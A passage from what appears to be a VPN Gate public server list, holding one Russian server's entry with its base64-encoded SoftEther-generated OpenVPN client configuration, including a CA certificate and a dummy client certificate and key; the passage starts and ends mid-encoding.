VlKS29aSWh2Y05BUUVGQlFBd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnMNCmFXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFFNQjRYRFRFek1ESXhNVEF6TkRrME9Wb1hEVE0zTURFeE9UQXoNCk1UUXdOMW93S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOc2FXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFENCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkENCjVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVJ3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQNCjRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmN6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1ENCkNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2k1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjcNClhDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4vMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmgNCnAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkFtcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0QNCnl3SURBUUFCTUEwR0NTcUdTSWIzRFFFQkJRVUFBNElCQVFDaE81aGdjdy80b1dmb0VGTHU5a0JhMUIvL2t4SDgNCmhRa0NoVk5uOEJSQzdZMFVSUWl0UGwzREtFZWQ5VVJCRGRnMktPQXo3N2JiNkVOUGlsaUQrYTM4VUpISVJNcWUNClVCSGhsbE9ISXp2RGhIRmJhb3ZBTEJRY2VlQnpka1F4c0tRRVNLbVFtUjgzMjk1MFVDb3ZveVJCNjFVeUFWN2gNCittWmhZUEdSS1hLU0pJNnMwRWdnL0NyaStDd2s0YmpKZnJiNWhWc2UxMXloNEQ5TUhod1NmQ09IKzB6NGhQVVQNCkZrdTdkR2F2VVJPNVNWeE1uL3NMNkVuNUQrb1NlWGthZEhwRHMrQWlyeW0yWUhoMTVoMCtqUFNPb1I2eWlWcC8NCjZ6WmVaa3JONDNrdVM3M0twS0RGamZGUGg4dDRyMWdPSWp0dGtOY1FxQmNjdXNucGxRN0hKcHNrDQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2VydD4NCg0KPGtleT4NCi0tLS0tQkVHSU4gUlNBIFBSSVZBVEUgS0VZLS0tLS0NCk1JSUVwQUlCQUFLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQTVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVINCndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRDRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmMNCnpXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUUNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2kNCjU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2N1hDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4NCi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aHAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkENCm1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRHl3SURBUUFCQW9JQkFFUlY3WDVBdnhBOHVSaUsNCms4U0lwc0QwZFgxcEpPTUl3YWtVVnl2YzRFZk4wRGhLUk5iNHJZb1NpRUdUTHl6THB5QmMvQTI4RGxrbTVlT1kNCmZqelhmWWtHdFlpL0Z0eGtnM085dmNyTVE0KzZpK3VHSGFJTDJyTCtzNE1yZk84djF4djYrV2t5MzNFRUdDb3UNClFpd1ZHUkZRWG5Sb1E2Mk5CQ0ZiVU5MaG1Yd2RqMWFrWnpMVTRwNVI0ekEzUWhkeHdFSWF0Vkx0MCs3b3dMUTMNCmxQOHNmWGhwcFBPWGpUcU1ENFFrWXd6UEFhOC96RjdhY240a3J5clVQN1E2UEFmZDB6RVZxTnk5WkNaOWZmaG8NCnpYZWRGajQ4NklGb2M1Z25UcDJONmpzblZqNExDR0lobFZIbFlHb3pLS0ZxSmNRVkdzSENxcTFvejJ6alc2TFMNCm9SWUlIZ0VDZ1lFQTh6WnJrQ3dOWVNYSnVPREozbS9oT0xWeGN4Z0p1d1hvaUVyV2QwRTQydlBhbmpqVk1obnQNCktZNWw4cUdNSjZGaEs5TFl4MnFDcmYvRTBYdFVBWjJ3VnEzT1JUeUduc01XcmU5dExZczU1WCtaTjEwVGM3NXoNCjRoYWNiVTBocUtOMUhpRG1zTVJZMy8yTmFaSG95N01LbndKSkJhRzQ4bDlDQ1RsVndNSG9jSUVDZ1lFQThqYnkNCmRHanhUSCs2WEhXTml6YjVTUmJaeEFueUVlSmVSd1RNaDBnR3p3R1BwSC9zWllHenl1MFN5U1hXQ25aaDNSZ3ENCjV1TGxOeHRyWHJsalpseWkyblFkUWdzcTJZcldVczAremdVKzIydVFzWnBTQWZ0bWhWcnR2ZXQ2TWpWamJCeVkNCkRBRGNpRVZVZEpZSVhrK3FuRlVKeWVyb0xJa1RqN1dZS1o2Umprc0NnWUJvQ0ZJd1JEZWc0Mm9LODlSRm1uT3INCkx5bU5BcTQrMm9NaHNXbFZiNGVqV0lXZUFrOW5jK0dYVWZyWHN6UmhTMDFtVW5VNXI1eWdVdlJjYXJWL1QzVTcNClRuTVorSTdZNERnV1JJRGQ1MXpuaHhJQnRZVjVqL0MvdDg1SGpxT2tIKzhiNlJUa2JjaGFYM21hdTdmcFVmZHMNCkZxMG5oSXE0MmZoRU84c3JmWVl3Z1FLQmdRQ3loaTFOLzh0YVJ3cGsrMy9JREV6UXdqYmZkelVrV1dTRGs5WHMNCkgvcGt1UkhXZlRNUDNmbFdxRVlnVy9MVzQwcGVXMkhEcTVpbWRWOCtBZ1p4ZS9YTWJhamk5TGd3ZjFSWTAwNW4NCkt4YVpRejd5cUh1cFdsTEdGNjhEUEh4a1pWVlNhZ0RuVi9zenRXWDZTRnNDcUZWbnhJWGlmWEdDNGNXNU5tOWcNCnZhOHE0UUtCZ1FDRWhMVmVVZmR3S3ZrWjk0Zy9HRno3MzFaMmhyZFZoZ01aYVUvdTZ0MFY5NStZZXpQTkNRWkINCndtRTlNbWxicTFlbURlUk9pdmpDZm9HaFIza1pYVzFwVEtsTGg2Wk1VUVVPcHB0ZFh2YThYeGZvcVF3YTNlbkENCk03bXVCYkYwWE43Vk84MGlKUHYrUG1JWmRFSUFrcHdLZmkyMDFZQitCYWZDSXVHeElGNTBWZz09DQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQ0KDQo8L2tleT4NCg0K +vpn247732554,95.70.88.137,961031,119,94736662,Russian Federation,RU,28,341604195,7234,844835872442,2weeks,Vladislav's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSA5NS43MC44OC4xMzcgMTY1OA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIEhUVFAvSFRUUFMgcHJveHkgc2V0dGluZy4NCiMgDQojIE9ubHkgaWYgeW91IGhhdmUgdG8gdXNlIHRoZSBJbnRlcm5ldCB2aWEgYSBwcm94eSwgdW5jb21tZW50IHRoZSBiZWxvdw0KIyB0d28gbGluZXMgYW5kIHNwZWNpZnkgdGhlIHByb3h5IGFkZHJlc3MgYW5kIHRoZSBwb3J0IG51bWJlci4NCiMgSW4gdGhlIGNhc2Ugb2YgdXNpbmcgcHJveHktYXV0aGVudGljYXRpb24sIHJlZmVyIHRoZSBPcGVuVlBOIG1hbnVhbC4NCg0KO2h0dHAtcHJveHktcmV0cnkNCjtodHRwLXByb3h5IFtwcm94eSBzZXJ2ZXJdIFtwcm94eSBwb3J0XQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGVuY3J5cHRpb24gYW5kIGF1dGhlbnRpY2F0aW9uIGFsZ29yaXRobS4NCiMgDQojIERlZmF1bHQgc2V0dGluZyBpcyBnb29kLiBNb2RpZnkgaXQgYXMgeW91IHByZWZlci4NCiMgV2hlbiB5b3Ugc3BlY2lmeSBhbiB1bnN1cHBvcnRlZCBhbGdvcml0aG0sIHRoZSBlcnJvciB3aWxsIG9jY3VyLg0KIyANCiMgVGhlIHN1cHBvcnRlZCBhbGdvcml0aG1zIGFyZSBhcyBmb2xsb3dzOg0KIyAgY2lwaGVyOiBbTlVMTC1DSVBIRVJdIE5VTEwgQUVTLTEyOC1DQkMgQUVTLTE5Mi1DQkMgQUVTLTI1Ni1DQkMgQkYtQ0JDDQojICAgICAgICAgIENBU1QtQ0JDIENBU1Q1LUNCQyBERVMtQ0JDIERFUy1FREUtQ0JDIERFUy1FREUzLUNCQyBERVNYLUNCQw0KIyAgICAgICAgICBSQzItNDAtQ0JDIFJDMi02NC1DQkMgUkMyLUNCQyBDQU1FTExJQS0xMjgtQ0JDIENBTUVMTElBLTE5Mi1DQkMgQ0FNRUxMSUEtMjU2LUNCQw0KIyAgZGF0YS1jaXBoZXJzOiBzYW1lIGFzIGNpcGhlcg0KIyAgYXV0aDogICBTSEEgU0hBMSBTSEEyNTYgU0hBMzg0IFNIQTUxMiBNRDUgTUQ0IFJNRDE2MA0KIw0KIyBOb3RlOiBUbyBzb2x2ZSBPcGVuVlBOIGNvbXBhdGliaWxpdHkgYnVnDQojIFJlY2VudCB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHAgcmVxdWlyZSBzcGVjaWZ5aW5nIHRoZSAiZGF0YS1jaXBoZXJzIg0KIyBmaWVsZCBpbnN0ZWFkIG9mIHRoZSAiY2lwaGVyIiBmaWVsZC4gSG93ZXZlciwgb2xkZXIgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwDQojIGRvIG5vdCByZWNvZ25pemUgImRhdGEtY2lwaGVycy4iIFJhdGhlciB0aGFuIGlnbm9yaW5nIGl0LCB0aGV5IHByb2R1Y2UNCiMgYSBzdGFydHVwIGVycm9yIHN0YXRpbmcgdGhhdCAibm8gc3VjaCBvcHRpb24gZXhpc3RzLiIgVGhpcyBpcyBhIGJ1Zw0KIyBpbiBPcGVuVlBOLiBJZiB5b3UgZW5jb3VudGVyIHRoaXMgaXNzdWUsIHBsZWFzZSBjb21tZW50IG91dA0KIyB0aGUgImRhdGEtY2lwaGVycyIgbGluZS4NCg0KY2lwaGVyIEFFUy0xMjgtQ0JDDQpkYXRhLWNpcGhlcnMgQUVTLTEyOC1DQkMNCmF1dGggU0hBMQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgT3RoZXIgcGFyYW1ldGVycyBuZWNlc3NhcnkgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlci4NCiMgDQojIEl0IGlzIG5vdCByZWNvbW1lbmRlZCB0byBtb2RpZnkgaXQgdW5sZXNzIHlvdSBoYXZlIGEgcGFydGljdWxhciBuZWVkLg0KDQpyZXNvbHYtcmV0cnkgaW5maW5pdGUNCm5vYmluZA0KcGVyc2lzdC1rZXkNCnBlcnNpc3QtdHVuDQpjbGllbnQNCnZlcmIgMw0KI2F1dGgtdXNlci1wYXNzDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2VydGlmaWNhdGUgZmlsZSBvZiB0aGUgZGVzdGluYXRpb24gVlBOIFNlcnZlci4NCiMgDQojIFRoZSBDQSBjZXJ0aWZpY2F0ZSBmaWxlIGlzIGVtYmVkZGVkIGluIHRoZSBpbmxpbmUgZm9ybWF0Lg0KIyBZb3UgY2FuIHJlcGxhY2UgdGhpcyBDQSBjb250ZW50cyBpZiBuZWNlc3NhcnkuDQojIFBsZWFzZSBub3RlIHRoYXQgaWYgdGhlIHNlcnZlciBjZXJ0aWZpY2F0ZSBpcyBub3QgYSBzZWxmLXNpZ25lZCwgeW91IGhhdmUgdG8NCiMgc3BlY2lmeSB0aGUgc2lnbmVyJ3Mgcm9vdCBjZXJ0aWZpY2F0ZSAoQ0EpIGhlcmUuDQoNCjxjYT4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJRmF6Q0NBMU9nQXdJQkFnSVJBSUlRejdEU1FPTlpSR1BndTJPQ2l3QXdEUVlKS29aSWh2Y05BUUVMQlFBdw0KVHpFTE1Ba0dBMVVFQmhNQ1ZWTXhLVEFuQmdOVkJBb1RJRWx1ZEdWeWJtVjBJRk5sWTNWeWFYUjVJRkpsYzJWaA0KY21Ob0lFZHliM1Z3TVJVd0V3WURWUVFERXd4SlUxSkhJRkp2YjNRZ1dERXdIaGNOTVRVd05qQTBNVEV3TkRNNA0KV2hjTk16VXdOakEwTVRFd05ETTRXakJQTVFzd0NRWURWUVFHRXdKVlV6RXBNQ2NHQTFVRUNoTWdTVzUwWlhKdQ0KWlhRZ1UyVmpkWEpwZEhrZ1VtVnpaV0Z5WTJnZ1IzSnZkWEF4RlRBVEJnTlZCQU1UREVsVFVrY2dVbTl2ZENCWQ0KTVRDQ0FpSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnSVBBRENDQWdvQ2dnSUJBSzNvSkhQMEZEZnptNTRyVnlnYw0KaDc3Y3Q5ODRrSXh1UE9aWG9IajNkY0tpL3ZWcWJ2WUFUeWpiM21pR2JFU1R0ckZqL1JRU2E3OGYwdW94bXlGKw0KMFRNOHVrajEzWG5mczdqL0V2RWhta3ZCaW9aeGFVcG1abXlQZmp4d3Y2MHBJZ2J6NU1EbWdLN2lTNCszbVg2VQ0KQTUvVFI1ZDhtVWdqVStnNHJrOEtiNE11MFVsWGpJQjB0dG92MERpTmV3TndJUnQxOGpBOCtvK3UzZHBqcStzVw0KVDhLT0VVdCt6d3ZvLzdWM0x2U3llMHJnVEJJbERIQ05BeW1nNFZNazdCUFo3aG0vRUxOS2pEK0pvMkZSM3F5SA0KQjVUMFkzSHNMdUp2VzVpQjRZbGNOSGxzZHU4N2tHSjU1dHVrbWk4bXhkQVE0UTdlMlJDT0Z2dTM5NmozeCtVQw0KQjVpUE5naVY1K0kzbGcwMmRaNzdEbkt4SFp1OEEvbEpCZGlCM1FXMEt0WkI2YXdCZHBVS0Q5amYxYjBTSHpVdg0KS0JkczBwakJxQWxrZDI1SE43ck9yRmxlYUoxL2N0YUp4UVpCS1Q1WlB0MG05U1RKRWFkYW8weEFIMGFobWJXbg0KT2xGdWhqdWVmWEtuRWdWNFdlMCtVWGdWQ3dPUGpkQXZCYkkrZTBvY1MzTUZFdnpHNnVCUUUzeERrM1N6eW5Ubg0Kamg4QkNOQXcxRnR4TnJRSHVzRXdNRnhJdDRJN21LWjlZSXFpb3ltQ3pMcTlnd1Fib29NRFFhSFdCZkVid3Jidw0KcUh5R08wYW9TQ3FJM0hhYWRyOGZhcVU5R1kvck9QTmszc2dyRFFvby8vZmI0aFZDMUNMUUoxM2hlZjRZNTNDSQ0KclU3bTJZczZ4dDBuVVc3L3ZHVDFNME5QQWdNQkFBR2pRakJBTUE0R0ExVWREd0VCL3dRRUF3SUJCakFQQmdOVg0KSFJNQkFmOEVCVEFEQVFIL01CMEdBMVVkRGdRV0JCUjV0Rm5tZTdibDVBRnpnQWlJeUJwWTl1bWJiakFOQmdrcQ0KaGtpRzl3MEJBUXNGQUFPQ0FnRUFWUjlZcWJ5eXFGRFFETEhZR21rZ0p5a0lyR0YxWElwdStJTGxhUy9WOWxaTA0KdWJoekVGblRJWmQrNTB4eCs3TFNZSzA1cUF2cUZ5RldoZkZRRGxucnp1Qlo2YnJKRmUrR25ZK0VnUGJrNlpHUQ0KM0JlYllodEY4R2FWMG54dnd1bzc3eC9QeTlhdUovR3BzTWl1L1gxK212b2lCT3YvMlgvcWtTc2lzUmNPai9LSw0KTkZ0WTJQd0J5VlM1dUNiTWlvZ3ppVXd0aER5QzMrNldWd1c2TEx2M3hMZkhUanVDdmpISUluTnprdEhDZ0tRNQ0KT1JBekk0Sk1QSitHc2xXWUhiNHBob3dpbTU3aWF6dFhPb0p3VGR3Sng0bkxDZ2ROYk9oZGpzbnZ6cXZIdTdVcg0KVGtYV1N0QW16T1Z5eWdocXBaWGpGYUgzcE8zSkxGK2wrLytzS0FJdXZ0ZDd1K054ZTVBVzB3ZGVSbE44TndkQw0Kak5QRWxwelZtYlVxNEpVYWdFaXVURGtIenN4SHBGS1ZLN3E0KzYzU00xTjk1UjFOYmRXaHNjZENiK1pBSnpWYw0Kb3lpM0I0M25qVE9RNXlPZisxQ2NlV3hHMWJRVnM1WnVmcHNNbGpxNFVpMC8xbHZoK3dqQ2hQNGtxS09KMnF4cQ0KNFJncXNhaERZVnZUSDl3N2pYYnlMZWlOZGQ4WE0ydzlVL3Q3eTBGZi85eWkwR0U0NFphNHJGMkxOOWQxMVRQQQ0KbVJHdW5VSEJjbldFdmdKQlFsOW5KRWlVMFpzbnZnYy91YmhQZ1hSUjRYcTM3WjBqNHI3ZzFTZ0VFend4QTU3ZA0KZW15UHhnY1l4bi9lUjQ0L0tKNEVCcytsVkRSM3ZleUptK2tYUTk5YjIxLytqaDVYb3MxQW5YNWlJdHJlR0NjPQ0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NhPg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNsaWVudCBjZXJ0aWZpY2F0ZSBmaWxlIChkdW1teSkuDQojIA0KIyBJbiBzb21lIGltcGxlbWVudGF0aW9ucyBvZiBPcGVuVlBOIENsaWVudCBzb2Z0d2FyZQ0KIyAoZm9yIGV4YW1wbGU6IE9wZW5WUE4gQ2xpZW50IGZvciBpT1MpLA0KIyBhIHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlIGFuZCBwcml2YXRlIGtleSBtdXN0IGJlIGluY2x1ZGVkIG9uIHRoZQ0KIyBjb25maWd1cmF0aW9uIGZpbGUgZHVlIHRvIHRoZSBsaW1pdGF0aW9uIG9mIHRoZSBjbGllbnQuDQojIFNvIHRoaXMgc2FtcGxlIGNvbmZpZ3VyYXRpb24gZmlsZSBoYXMgYSBkdW1teSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZQ0KIyBhbmQgcHJpdmF0ZSBrZXkgYXMgZm9sbG93cy4NCg0KPGNlcnQ+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUN4akNDQWE0Q0FRQXdEUVlKS29aSWh2Y05BUUVGQlFBd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnMNCmFXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFFNQjRYRFRFek1ESXhNVEF6TkRrME9Wb1hEVE0zTURFeE9UQXoNCk1UUXdOMW93S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOc2FXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFENCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkENCjVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVJ3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQNCjRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmN6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1ENCkNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2k1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjcNClhDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4vMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmgNCnAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkFtcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0QNCnl3SURBUUFCTUEwR0NTcUdTSWIzRFFFQkJRVUFBNElCQVFDaE81aGdjdy80b1dmb0VGTHU5a0JhMUIvL2t4SDgNCmhRa0NoVk5uOEJSQzdZMFVSUWl0UGwzREtFZWQ5VVJCRGRnMktPQXo3N2JiNkVOUGlsaUQrYTM4VUpISVJNcWUNClVCSGhsbE9ISXp2RGhIRmJhb3ZBTEJRY2VlQnpka1F4c0tRRVNLbVFtUjgzMjk1MFVDb3ZveVJCNjFVeUFWN2gNCittWmhZUEdSS1hLU0pJNnMwRWdnL0NyaStDd2s0YmpKZnJiNWhWc2UxMXloNEQ5TUhod1NmQ09IKzB6NGhQVVQNCkZrdTdkR2F2VVJPNVNWeE1uL3NMNkVuNUQrb1NlWGthZEhwRHMrQWlyeW0yWUhoMTVoMCtqUFNPb1I2eWlWcC8NCjZ6WmVaa3JONDNrdVM3M0twS0RGamZGUGg4dDRyMWdPSWp0dGtOY1FxQmNjdXNucGxRN0hKcHNrDQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2VydD4NCg0KPGtleT4NCi0tLS0tQkVHSU4gUlNBIFBSSVZBVEUgS0VZLS0tLS0NCk1JSUVwQUlCQUFLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQTVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVINCndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRDRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmMNCnpXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUUNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2kNCjU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2N1hDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4NCi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aHAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkENCm1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRHl3SURBUUFCQW9JQkFFUlY3WDVBdnhBOHVSaUsNCms4U0lwc0QwZFgxcEpPTUl3YWtVVnl2